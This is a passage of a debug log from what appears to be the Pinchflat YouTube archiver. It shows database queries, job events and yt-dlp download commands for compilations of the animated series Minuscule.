insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\n00:04:38 | Nap Time | S01E14\n00:09:27 | Horsefly | S01E21\n00:14:09 | Hyperactive | S01E54\n00:18:50 | Insect High Velocity | S01E53\n00:23:29 | Dragonflies | S01E33\n00:28:13 | Leech | S01E73\n00:32:38 | The Last Supper | S01E25\n00:37:27 | Sleeping In | S01E12\n00:42:16 | Wasp Belle | S01E04\n00:47:05 | Ladybugs | S01E17\n00:51:44 | Some Weird Fly | S01E78\n00:56:14 | Goofing Off | S01E37\n01:00:55 | The Ladybug | S01E01\n01:05:31 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #dream #cicada #Minuscule #nature #insects #ladybugs #animatedseries", "The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation", "NcJqhUC6BFA", 4242, false, 4, "https://www.youtube.com/watch?v=NcJqhUC6BFA", "/downloads/Miniscule Season 1/2025-12-02 The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation/The Zzzzzz Patrol 🐞 Minuscule 🍃 85' Compilation [NcJqhUC6BFA].mp4", false, ~U[2025-12-02 19:00:33Z]] 00:47:50.911 [debug] QUERY OK source="sources" db=0.3ms idle=92.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:50.912 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:50.913 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102354] 00:47:50.913 [debug] Current batch of media processed. Will check again in 1000ms 00:47:51.914 [debug] Current batch of media processed. Will check again in 1000ms 00:47:52.915 [debug] Current batch of media processed. Will check again in 1000ms 00:47:53.916 [debug] Current batch of media processed. Will check again in 1000ms 00:47:54.517 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=B9tGisEtM6I --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d4/40/d440f581a2a0fba2e1260b53197663538debb2f9cfcc10b42961c3ed21174889.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:47:54.569 [debug] Running yt-dlp command for action: download_thumbnail 00:47:54.571 [debug] QUERY OK source="settings" db=0.3ms idle=1925.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:54.571 [debug] QUERY OK source="settings" db=0.3ms idle=1926.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:54.572 [debug] QUERY OK source="settings" db=0.2ms idle=1926.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:54.572 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=B9tGisEtM6I --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102835/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/48/06/4806362210f830c6a4c509b1f36709cdb503ae9893abb6ff4e91533388d6e0ad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:47:54.917 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Torpedo | S01E52\n00:04:39 | Cherry Tomato | S01E77\n00:09:18 | Catapult | S01E27\n00:14:05 | Insect High Velocity | S01E53\n00:18:44 | Picnic | S01E24\n00:23:28 | Horsefly | S01E21\n00:28:10 | The Ladybug | S01E01\n00:32:46 | Zzzeplin | S01E22\n00:37:35 | Out Of A Tin Can | S01E65\n00:42:10 | The Wild Bunch | S01E74\n00:46:49 | Leech | S01E73\n00:51:14 | The Mosquito | S01E58\n00:55:23 | A Mosquito Day Afternoon | S01E72\n01:00:03 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Torpedo #Mosquito #Mustard #Jackhammer #cherry #tomato #fly #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3913, "filename" => "/downloads/Miniscule Season 1/2025-11-18 Torpedo | Minuscule 🍃 80' Compilation/Torpedo | Minuscule 🍃 80' Compilation [-eoWfAmRjaI].mkv", "id" => "-eoWfAmRjaI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-eoWfAmRjaI", "playlist_index" => 12, "timestamp" => 1763449201, "title" => "Torpedo | Minuscule 🍃 80' Compilation", "upload_date" => "20251118"} 00:47:54.918 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=346.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:54.919 [debug] QUERY OK source="sources" db=0.2ms idle=346.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:54.920 [debug] QUERY OK source="media_items" db=0.7ms idle=347.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-18 07:00:01Z], 4] 00:47:54.922 [debug] QUERY OK source="media_items" db=1.6ms idle=275.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Torpedo | S01E52\n00:04:39 | Cherry Tomato | S01E77\n00:09:18 | Catapult | S01E27\n00:14:05 | Insect High Velocity | S01E53\n00:18:44 | Picnic | S01E24\n00:23:28 | Horsefly | S01E21\n00:28:10 | The Ladybug | S01E01\n00:32:46 | Zzzeplin | S01E22\n00:37:35 | Out Of A Tin Can | S01E65\n00:42:10 | The Wild Bunch | S01E74\n00:46:49 | Leech | S01E73\n00:51:14 | The Mosquito | S01E58\n00:55:23 | A Mosquito Day Afternoon | S01E72\n01:00:03 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Torpedo #Mosquito #Mustard #Jackhammer #cherry #tomato #fly #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Torpedo | Minuscule 🍃 80' Compilation", "85c1272d-30d3-438e-9248-2c1bf3dcca8e", "-eoWfAmRjaI", 3913, false, 4, "https://www.youtube.com/watch?v=-eoWfAmRjaI", 12, "/downloads/Miniscule Season 1/2025-11-18 Torpedo | Minuscule 🍃 80' Compilation/Torpedo | Minuscule 🍃 80' Compilation [-eoWfAmRjaI].mkv", false, false, false, [], 1, ~U[2025-11-18 07:00:01Z], ~U[2025-12-14 07:47:54Z], ~U[2025-12-14 07:47:54Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Torpedo | S01E52\n00:04:39 | Cherry Tomato | S01E77\n00:09:18 | Catapult | S01E27\n00:14:05 | Insect High Velocity | S01E53\n00:18:44 | Picnic | S01E24\n00:23:28 | Horsefly | S01E21\n00:28:10 | The Ladybug | S01E01\n00:32:46 | Zzzeplin | S01E22\n00:37:35 | Out Of A Tin Can | S01E65\n00:42:10 | The Wild Bunch | S01E74\n00:46:49 | Leech | S01E73\n00:51:14 | The Mosquito | S01E58\n00:55:23 | A Mosquito Day Afternoon | S01E72\n01:00:03 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Torpedo #Mosquito #Mustard #Jackhammer #cherry #tomato #fly #ladybug #Minuscule #nature #insects #ladybugs #animatedseries", "Torpedo | Minuscule 🍃 80' Compilation", "-eoWfAmRjaI", 3913, false, 4, "https://www.youtube.com/watch?v=-eoWfAmRjaI", "/downloads/Miniscule Season 1/2025-11-18 Torpedo | Minuscule 🍃 80' Compilation/Torpedo | Minuscule 🍃 80' Compilation [-eoWfAmRjaI].mkv", false, ~U[2025-11-18 07:00:01Z]] 00:47:54.923 [debug] QUERY OK source="sources" db=0.3ms idle=96.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:54.923 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:54.924 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101456] 00:47:54.924 [debug] Current batch of media processed. Will check again in 1000ms 00:47:55.925 [debug] Current batch of media processed. Will check again in 1000ms 00:47:56.871 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgQjJ1kgUGE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/102834/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/ff/41/ff41f675984547d806197f6bf8016063289cd62467c9889955a032b0ec8adf28.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: WARNING: [youtube] ZgQjJ1kgUGE: Some tv client https formats have been skipped as they are missing a url. YouTube may have enabled the SABR-only or Server-Side Ad Placement experiment for the current session. See https://github.com/yt-dlp/yt-dlp/issues/12482 for more details WARNING: [youtube] ZgQjJ1kgUGE: Some web client https formats have been skipped as they are missing a url. YouTube is forcing SABR streaming for this client. See https://github.com/yt-dlp/yt-dlp/issues/12482 for more details 00:47:56.871 [debug] QUERY OK db=0.0ms idle=226.4ms begin [] 00:47:56.886 [debug] QUERY OK source="media_items" db=13.8ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "metadata_filepath" = ?, "subtitle_filepaths" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-14 07:47:50Z], "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE].mp4", "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE].info.json", [["en", "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE].en.srt"]], "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE]-thumb.jpg", ~U[2025-12-14 07:47:56Z], 102834] 00:47:56.887 [debug] QUERY OK source="media_metadata" db=0.8ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/102834/metadata.json.gz", "/config/metadata/media_items/102834/thumbnail.jpg", 102834, ~U[2025-12-14 07:47:56Z], ~U[2025-12-14 07:47:56Z]] 00:47:56.887 [debug] QUERY OK db=0.4ms commit [] 00:47:56.889 [debug] QUERY OK source="media_items" db=1.3ms idle=242.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [160544250, ~U[2025-12-14 07:47:56Z], 102834] 00:47:56.889 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:47:56.890 [info] {"args":{"id":102834},"id":2630,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":36091210,"event":"job:stop","queue_time":796998,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:47:56.897 [info] {"args":{"id":102836},"id":2632,"meta":{},"system_time":1765698476897105800,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:47:56.897 [debug] QUERY OK source="media_items" db=0.3ms idle=66.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102836] 00:47:56.898 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:47:56.898 [debug] QUERY OK source="sources" db=0.3ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:56.899 [debug] QUERY OK source="media_profiles" db=0.2ms idle=9.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:56.899 [debug] QUERY OK source="media_items" db=0.3ms idle=9.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102836] 00:47:56.900 [debug] QUERY OK source="media_metadata" db=0.1ms idle=3.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102836] 00:47:56.901 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:56.901 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:56.902 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:56.902 [debug] Running yt-dlp command for action: get_downloadable_status 00:47:56.903 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:56.904 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:56.904 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:56.904 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cw7aFgAQz7A --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/86/ef/86eff45df46fc91e47e6c732ec2da03cee5a12a12d206a8aab7089023f17be84.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:47:56.926 [debug] Current batch of media processed. Will check again in 1000ms 00:47:57.927 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Caterpillar Dream | S01E20\n00:09:25 | Dragonflies | S01E33\n00:14:09 | Love Story | S01E03\n00:18:58 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:23:42 | The Ladybug | S01E01\n00:28:18 | The Wild Bunch | S01E74\n00:32:57 | Insect High Velocity | S01E53\n00:37:36 | A Mosquito Day Afternoon | S01E72\n00:42:16 | The Mosquito | S01E58\n00:46:25 | The Good Education | S01E56\n00:51:12 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:56:00 | The Apple Of Concord | S01E36\n01:00:46 | The Right Seed | S01E57\n01:05:32 | Cicadas’ Song | S01E16\n01:10:22 | Nap Time | S01E14\n01:15:10 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "duration" => 4821, "filename" => "/downloads/Miniscule Season 1/2025-10-30 Cicada Do Brasil | Minuscule 🍃 95' Compilation/Cicada Do Brasil | Minuscule 🍃 95' Compilation [pTBNXPHEFZY].mkv", "id" => "pTBNXPHEFZY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=pTBNXPHEFZY", "playlist_index" => 13, "timestamp" => 1761822101, "title" => "Cicada Do Brasil | Minuscule 🍃 95' Compilation", "upload_date" => "20251030"} 00:47:57.928 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1025.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 